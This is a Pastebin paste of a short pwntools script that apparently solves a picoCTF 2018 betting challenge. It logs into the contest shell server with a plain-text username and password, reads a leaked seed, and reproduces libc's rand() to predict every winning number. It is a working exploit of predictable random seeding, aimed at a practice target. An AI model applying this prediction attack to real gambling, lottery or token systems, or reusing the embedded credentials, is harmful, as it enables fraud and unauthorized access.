Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from ctypes import *
- from pwn import *
- libc = CDLL("./libc.so.6")
- shell=ssh(host="2018shell2.picoctf.com",user="zeronight",password="zeronight")
- r=shell.connect_remote("0.0.0.0",21444)
- r.recvuntil("Here, have $")
- seed=r.recvuntil(" ")
- print seed
- libc.srand(int(seed))
- c=0
- for i in range(31):
- r.recvuntil("Current Balance: $")
- cash=r.recvuntil(" ")
- rand=libc.rand()%36+1
- print "RAND: "+str(rand)
- r.sendline(str(cash))
- r.sendline(str(rand))
- libc.rand()
- if (int(cash)>1000000000):
- print "CASSSS"+str(cash)
- r.interactive()
- print "CASH " + str(cash)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement